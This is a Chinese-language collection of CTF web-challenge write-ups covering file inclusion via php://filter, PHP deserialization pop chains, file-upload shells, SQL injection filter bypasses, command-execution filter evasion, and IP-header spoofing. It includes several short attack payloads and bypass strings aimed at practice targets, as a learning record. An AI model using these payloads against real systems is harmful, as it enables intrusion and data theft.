2640_[SWPUCTF 2022 新生赛]ez_ez_php –PHP伪协议 –文件包含漏洞
进入环境得到PHP代码,审计代码发现如下关键处
1 | # GET方式传入参数 |
手拿把掐,直接利用PHP伪协议php://filter/read=convert.base64-encode/resource=flag.php
,得到Base64加密的flag
根据提示,目标文件名应当是flag,尝试直接在URL后加上/flag,出现答案
回头看WriteUp的时候,发现也可以二次使用PHP伪协议,令resource=flag即可
440_[SWPUCTF 2021 新生赛]pop –反序列化 –pop链 –__toString()
调用前提
进入环境,明确知识点为反序列化,需要传入参数w00m,尝试构造类w44m的序列化代码
1 | /?w00m=O:4:"w44m":2:{s:5:"\x00w440\x00admin";s:4:"w44m";s:6:"\x00*\x00passwd";s:5:"08067";} |
发现没有东西,甚至连“nono”都没有,再查反序列化知识点,发现有个知识点很契合题目“pop”:pop链序列化
pop链序列化:利用魔法方法在里面进行多次跳转,pop链的尾部是关键属性或漏洞函数,从尾至头递推
于是重新分析PHP代码,以获得flag为目的
1 | 获得flag:验证admin="w44m"&&passwd="08067" |
这里出现了疑惑:__toString()魔术方法在什么时候能够被调用?
调用前提 | 描述 |
---|---|
对象被当作字符串处理 | 当对象需要使用echo 、print 语句输出,或在字符串连接操作(如使用. 运算符)中涉及对象时,__toString() 方法会被自动调用。 |
方法存在于类中 | __toString() 方法必须在类中显式定义。如果类中未定义此方法,而对象又被当作字符串处理,则会抛出一个Catchable fatal error 错误。 |
适用于所有需要将对象转为字符串的场景 | 在任何需要将对象转换为字符串的场景中,如果定义了__toString() 方法,PHP都会尝试调用它来完成转换。这包括函数调用参数需要字符串类型、文件写入操作需要字符串数据等。 |
这就很明白了,可以续上pop链了
1 | __toString()调用:echo $this->w00m调用 |
综上,最外层应当创建w22m的对象,且相应参数应如下
参数 | 值 |
---|---|
w22m:w00m,s:4:”w00m”; | 类w33m的实例 |
w33m:w00m,s:4:”w00m”; | 类w44m的实例 |
w33m:w22m,s:4:”w22m”; | s:7:”Getflag”; |
w44m:admin,s:5:”\00w44m\00admin”; | s:4:”w44m”; |
w44m:passwd,s:6:”\00*\00passwd”; | s:5:”08067”; |
这里就不自己推序列化字串了,用.php脚本自己跑,代码如下
1 |
|
结算画面(ノ・ェ・)ノ(ノ・ェ・)ノ(ノ・ェ・)ノ
3867_[LitCTF 2023]作业管理系统 –文件上传
进入环境,F12网页检查,发现出现提示信息<!--默认账户admin admin-->
,输入后得到下一界面
看左侧的功能框,推测是文件上传的知识点,上传个一句话木马试试水<?php phpinfo();?>
,然后直接访问上传上去的文件
好吧,接着试呗,ls /
剩下就简单了,cat /flag
出现答案
3053_[UUCTF 2022 新生赛]websign
进入环境,告诉我源代码里有东西,可是我怎么按不出来F12?
没事,我还可以curl -v url
,直接在Window命令行中拿到flag
2422_[鹏城杯 2022]简单包含 –文件包含漏洞 –脏数据伪协议绕过
进入环境得到PHP代码和flag位置提示,直接一个PHP伪协议读文件
题目以及提示信息都表明考察文件包含漏洞,故考虑页面waf的对象是过滤器和目标文件,反复尝试
1 | flag=flag # waf |
很明显了,拦截的就是flag,但是实在是绕不过去,看了WriteUp才拿到flag;学到了新方法:添加脏数据,即利用&
添加无关信息
442_[SWPUCTF 2021 新生赛]sql –SQL注入 –空格绕过 –等号绕过 –注释符绕过 –substr()绕过
进入环境,让我输点东西,先看看网页源码(其实看标签页名也可以)
输入wllm参数,弹出提示消息,根据题目认定为SQL注入(这个图跟387一模一样),进行尝试:wllm=1' order by 3--+
,很好,被拦截了,看看是哪些被拦截了
1 | /?wllm=1 # 输出提示信息 |
初步明确为空格被程序所拦截,可是又不会T _ T T _ T T _ T,查阅资料,结合WriteUp整理手段如下
手段 | 演示 |
---|---|
空格绕过/**/ | 1'/**/order/**/by/**/3--+# |
空格绕过// | 1'//order//by//3--+# |
注释绕过%23 | 1' order by 3--+%23 |
等号绕过like | 1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like 'test_db'# |
substr()绕过mid() | 1' union select 1,mid(flag,25,30),3 |
综上,尝试编写SQL语句如下
1 | /?wllm=2'/**/order/**/by/**/3--+%23 # waf |
438_[SWPUCTF 2021 新生赛]finalrce –Linux指令绕过 –tee指令
进入环境得到PHP代码,审计关键代码
1 | # GET方式传入url参数 |
首先来学习一下exec()
string exec ( string $command [, array &$output [, int &$return_var ]] )
,用于执行外部程序,无回显
参数名 | 类型 | 可选 | 解释 |
---|---|---|---|
$command |
string |
否 | 要执行的外部命令或程序的字符串表示 |
$output |
array |
是 | 命令的完整输出结果将作为数组存储在此变量中,每个数组元素代表命令输出的一行 |
$return_var |
int |
是 | 命令执行后的退出状态码将存储在此变量中,退出状态码 0 表示成功,非零值表示错误 |
查阅资料,发现对于一般的Linux指令的屏蔽,可以使用如下绕过
方法 | 演示 |
---|---|
单引号绕过 | l''s |
双引号绕过 | l""s |
反斜杠绕过 | l\s |
显然,本题适用第一、三种方式;接下来需要解决exec()无回显的问题,我们可以将上个命令的输出存于文件,通过访问文件得到结果,有以下两种方法
方法 | 演示 |
---|---|
> 输入符 |
ls / > output.txt |
tee 指令 |
`ls / |
显然,本题仅适用第二种方法;问题解决后,来尝试编写url参数
1 | /?url=l\s / | tee output.txt |
flag结算画面
3869_[LitCTF 2023]Http pro max plus –HTTP请求IP更改 –Referer信息头 –Via信息头
进入环境,看到题目名HTTP,先curl
尝尝咸蛋
没啥东西,根据提示,猜测题目类同385,利用BurpSuite抓包修改一下X-Forwarded-For信息头
ψ(`∇´)ψ好好好,被拿下了,又去搜其他方法,才发现巨多
信息头 | 信息 |
---|---|
client-ip | 127.0.0.1 |
Forwarded-For-fp | 127.0.0.1 |
Forwarded-For | 127.0.0.1,localhost |
Forwarded | 127.0.0.1, localhost |
True-Client-IP | 127.0.0.1 |
X-Client-IP | 127.0.0.1 |
X-Custom-IP-Authorization | 127.0.0.1 |
X-Forward-For | 127.0.0.1 |
X-Forward | 127.0.0.1,localhost |
X-Forwarded-By | 127.0.0.1,localhost |
X-Forwarded-For-Original | 127.0.0.1,localhost |
X-Forwarded-Server | 127.0.0.1,localhost |
X-Forwarded | 127.0.0.1,localhost |
X-Forwared-Host | 127.0.0.1,localhost |
X-Host | 127.0.0.1 |
挨个试试,第一个就可以
又是个我没见过的东西,不过还好,文心一言认识
再加个Referer信息头试试,又说是要Chrome浏览器,这个我会,改User-Agent就好
OK,这个“代理服务器地址”我也不知道用哪个信息头,不过文心一言依旧有用
接着试试,这下终于给东西了,进入/wtfwtfwtfwtf.php,又被秀一脸
再次进入提示文件,终于不用受折磨了,拿到flag
3786_[HDCTF 2023]Welcome To HDCTF 2023 –JSFuck
进入环境,好玩!直接拿到flag
当然,好好去做题练习的话,还是ctrl+U
看看网页源代码吧,在[assets/js/game.js]
中,直接下翻,会出现熟悉的JSFuck加密信息,解密即获得flag
3866_[LitCTF 2023]Vim yyds –vim泄露 –.swp文件恢复
(刷题刷到这里发现攒的金币不够了,忍痛冲了¥9.8,NSS你苟富贵勿相忘啊)
进入环境,一脸懵圈,连思路都没有,看标题果断去查关键字“CTF,Web,Vim”,出来点有用东西
vim缓存:当开发人员在线上环境中使用vim编辑器,在使用过程中会留下vim编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露,包含两个后缀
后缀 | 释义 |
---|---|
.文件名(包含后缀).swp | 用于记录未保存的更改,以防主文件,即你正在编辑的文件损坏或被删除 |
.文件名(包含后缀).swo | 用于支持Vim的会话恢复功能,即保存多个文件的状态以便在Vim崩溃后恢复 |
也即表示我们需要找到后缀为.swp的文件并对其进行恢复,先找到;可是我源码和包都看了看,没给提示,没办法,只有扫目录了(这次专门为这道题给Level_1字典中所有.php路径加了对应的.swp,整理为Level_2好了)
找到马脚,由于Windows没有Vim,开个Kali用,先wget把东西下下来,然后根据进程恢复,得到真正的源码
审计关键代码如下
1 | if ($_POST['password'] === base64_encode($password)) |
这下不就简单了,$password的编码是R2l2ZV9NZV9Zb3VyX0ZsYWc=
,只需要通过不断执行不同cmd即可出现结果
1 | password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=ls / |
结算画面☟
2076_[NSSCTF 2022 Spring Recruit]babyphp –强比较 –弱比较 –intval()
进入环境得到PHP代码,审计关键代码如下
1 | # POST方式传入参数a,a中无数字,intval?? |
有一个不会的知识点,学一学
int intval ( mixed $var [, int $base = 10 ] ) : int
,将输入转为整数值,返回转换后的整数值;如果转换失败,则返回 0
参数 | 类型 | 解释 |
---|---|---|
$var |
mixed | 要转换的变量。可以是整数、浮点数、字符串、布尔值、null、数组或对象。根据变量的类型,intval 会尝试将其转换为整数值。 |
$base |
int | 转换的进制,取值范围是2到36。默认值是10,当 $var 是字符串时,此参数指定了字符串的解析进制 |
这下全知道了,要求一项项满足
1 | # 首先是a,随便给个数组绕过preg_match()就好 |
OK,flag到手
2900_[HNCTF 2022 Week1]Interesting_include –文件包含漏洞 –PHP伪协议 –有问题尚未解决
进入环境得到PHP代码,这里的每一句话都在让我用php://filter/
做事啊,不过还不是时候
由于正则表达式过滤了关键词flag,所以我们选择绕过关键词,使用单引号绕过,先尝试直接输入文件名
不出所料不让用,这下老实用PHP伪协议了,先输个错的试试:php://filter/read=convert.base64-encode/resource=flag.php
啊啊啊?不是拦截了flag关键字吗?怎么输了还能过?上网查了查,觉得应该是这回事
首先应该了解一下PHP伪协议的生效流程(下列讲述仅为个人结合题目特殊处、询问文心一言之后的初步理解,欢迎探讨、赐教)
步骤 | 描述 |
---|---|
参数接收 | 你的输入(例如,通过GET请求、POST请求或其他方式传递的参数)首先被PHP脚本接收 |
解析参数 | PHP脚本解析接收到的参数,并识别出它是一个特殊的流封装器URL(即 php://filter/... ) |
流封装器处理 | PHP的流封装器机制开始处理这个URL。php://filter 是一个特殊的流封装器,用于在读取或写入数据之前对数据进行过滤 |
过滤器应用 | 根据URL中的 read=convert.base64-encode 部分,PHP应用Base64编码过滤器;在读取 flag.php 文件的内容之前,PHP会先将其内容转换为Base64编码 |
资源访问 | PHP尝试访问 resource=flag.php 指定的资源,通常意味着打开并读取该文件的内容 |
返回结果 | 经过Base64编码后的文件内容被返回给调用者 |
执行后续代码 | 在参数被接收和解析(以及可能的流封装器处理)之后,PHP脚本会继续执行后续的代码;这可能包括进一步处理解析后的参数、执行数据库查询、生成HTML输出等 |
也就是说,在后续preg_match()还未作用时,资源访问的结果已经展示出来了
463_[鹤城杯 2021]EasyP –文件包含漏洞 –$_SERVER['REQUEST_URI']
绕过 –$_SERVER['REQUEST_SELF']
绕过 –basename()利用
进入环境得到PHP代码,审计关键代码如下
1 | # POST方式传入参数guess |
不是很想细致学正则表达式,我选择文心一言
1 | /utils\.php\/*$/i => 以utils.php结尾 |
然后再细致学习一下$_SERVER['REQUEST_URI']
、$_SERVER['PHP_SELF']
的具体含义
参数 | 具体含义 |
---|---|
$_SERVER['REQUEST_URI'] |
客户端请求资源的完整URL路径信息,包括查询字符串 |
$_SERVER['PHP_SELF'] |
当前执行的脚本文件名 |
现在来重新理解一下
1 | # 如果当前执行的脚本中含utils.php,则被拦截 |
可还是找不到绕过的思路,没办法,出去看了佬们的WriteUp,总结知识点如下
1 | # $_SERVER['PHP_SELF']参数返回的是除了域名/参数以外的URL,有如下例: |
1 | # $_SERVER['PHP_SELF']参数返回的是除了域名以外的URL,有如下例: |
接着是函数basename()
string basename ( string $path [, string $suffix ] )
,返回路径中的文件名部分
参数 | 类型 | 含义 |
---|---|---|
$path |
string | 要处理的路径字符串,可以是相对路径或绝对路径 |
$suffix |
string | 如果指定这个参数,并且它出现在路径的末尾,那么这部分会被移除,即不显示 |
且,由于$_SERVER[‘PHP_SELF’]参数读取顺序从后向前,遇到非ASCII码即截止,故利用此可绕过正则表达式的匹配
1 | preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF']) => utils.php/陈:返回否,即无匹配字符串 |
故尝试构造payload绕过两次正则
1 | # 当前处于index.php脚本中,必需向index.php脚本中传入参数,故不能直接URL后加/utils.php,需先加index.php |
OK,一次成功(看了答案不一次成功也说不过去吧☞☜)
2602_[HUBUCTF 2022 新生赛]checkin –反序列化 –bool弱比较绕过
进入环境得到PHP代码,审计关键代码如下
1 | # info变量接受GET方式传入的参数,若无,则为空 |
根据提示,需要的两个变量username和password显然不是代码中给出的两个值;info为两个变量(一个数组)的序列化字串,故只需要再解决未知参数比较为真的要求即可获取flag
注意到比较符为“==”,即弱比较:先隐式转换变量类型,再比较其值,如果输入一个bool值,只要两变量不为空,即可匹配成功(当然要是为否导致匹配不成功,我们也可以从我们这边输入否嘛);尝试编写.php文件输出序列化字符
1 |
|
将结果传入参数info即得到flag
3740_[GDOUCTF 2023]EZ WEB –Flask –HTTP请求方式修改
进入环境,点按钮后没有东西。看看源代码,发现有个提示
在URL后面添加/src
得到Python代码,第一次遇见,详细分析
1 | import flask |
要求使用“PUT”请求访问路径/super-secret-route-nobody-will-guess
,故选择BurpSuite抓包修改请求头,得到flag
2821_[SWPUCTF 2022 新生赛]ez_ez_php(revenge) –PHP伪协议 –文件包含
进入环境得到PHP代码,审计关键代码如下
1 | // 以GET方式传入参数file |
这道题和2640一模一样,直接照搬答案:php://filter/read=convert.base64-encode/resource=flag.php
,得到Base64编码如下,转换得到如下代码
1 | Base64:PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmhlYWRlcigiQ29udGVudC1UeXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7DQoNCg0KZWNobyAgICJOU1NDVEZ7ZmxhZ19pc19ub3RfaGVyZX0iIC4iPGJyLz4iOw0KZWNobyAicmVhbF9mbGFnX2lzX2luXyAnL2ZsYWcnICIuIjxici8+IjsNCmVjaG8gIuaNouS4quaAnei3r++8jOivleivlVBIUOS8quWNj+iuruWRoiI7DQo= |
再做一下,然后会发现/flag
突然不行了,好嘛这次换一个:php://filter/read=convert.base64-encode/resource=/flag
,转换得到flag
3700_[GDOUCTF 2023]泄露的伪装 –目录扫描 – –file_get_contents()绕过
进入环境,除了一句话,啥也没有。F12、网页源码、Curl+V都不行,尝试目录扫描,结果同样不好
上述情况的产生,说明我自己编写的尝试集合被URL全部屏蔽掉了,尝试使用更高级的目录扫描工具ヾ(´・ ・`。)ノ”
观察到有一个www.rar
的类似压缩包的路径,试一下是不是有东西下载,确实;打开压缩包中的唯一文件,发现下一步信息
打开发现PHP代码,审计关键代码如下
1 | // 以GET方式传参 |
file_get_contents函数在题441中有学到,直接使用data://tetx/plain
PHP伪协议:?cxk=data://tetx/plain,ctrl
,得到flag
2898_[HNCTF 2022 Week1]2048 –JS分析
进入环境,熟悉的游戏界面,不犹豫,直接看网页源代码,观察发现还有一个JS文件,进入
发现其中的中文无法正确显示,本地下载后,使用Notepad++以UTF-8编码方式查看,在判断分数大于20000的True分支中找到线索
F12,在console控制台输出alert语句的结果,得到flag,注意修改为“NSSCTF{}”形式
3090_[UUCTF 2022 新生赛]ez_rce –命令执行函数 –反引号绕过 –反斜杠绕过 –eval()支持函数 –有问题尚未解决
进入环境得到PHP代码???真是恶劣的讽刺啊,必须狠狠炮制它,审计代码如下
1 |
|
很好,只需要绕过正则表达式的匹配就好了,看着强度评价为还不如题439,直接试试URL取反:system("ls /")
???为什么不能用?已老实,尝试其他的方法,观察到正则表达式中并没有包括反引号“`”和反斜杠“\”,从此入手
1 | sy\stem("l\s") => 不行 |
又不会了,system()函数中的字符串又没有办法用反斜杠,只能重新去查eval()函数还支持哪些函数
函数类型 | 函数名 | 描述 |
---|---|---|
输出函数 | echo |
输出一个或多个字符串到标准输出(通常是浏览器) |
print |
输出一个字符串到标准输出 | |
printf / sprintf |
格式化输出字符串(printf 直接输出,sprintf 返回字符串) |
|
var_dump |
打印变量的详细信息,包括类型和值 | |
var_export |
返回或打印变量的字符串表示(可用于重新构造变量) | |
print_r |
打印变量的易于理解的信息(通常用于数组和对象) | |
命令执行函数 | shell_exec |
通过shell环境执行命令,并将完整的输出作为字符串返回 |
exec |
执行一个外部程序,但只返回最后一行输出(可通过第二个参数获取完整输出) | |
system |
执行外部程序,并显示输出(与exec 类似,但直接输出到标准输出) |
|
passthru |
执行外部程序,并原样传递输出(适用于二进制数据) | |
popen / pclose |
打开进程文件指针,用于读写(与shell_exec 和exec 类似,但提供了更灵活的交互方式) |
|
backticks ( ) |
反引号(与shell_exec 功能类似,但直接在字符串中使用) |
OK,原来不止有system()函数啊,再来试试正则表达式里面没有过滤的print函数
1 | print `l\s`; => error.log index.php |
搞不懂了,都是文件读取指令,都用反斜杠绕过了,咋不同的插入位置效果不同呢?总之是把flag解出来了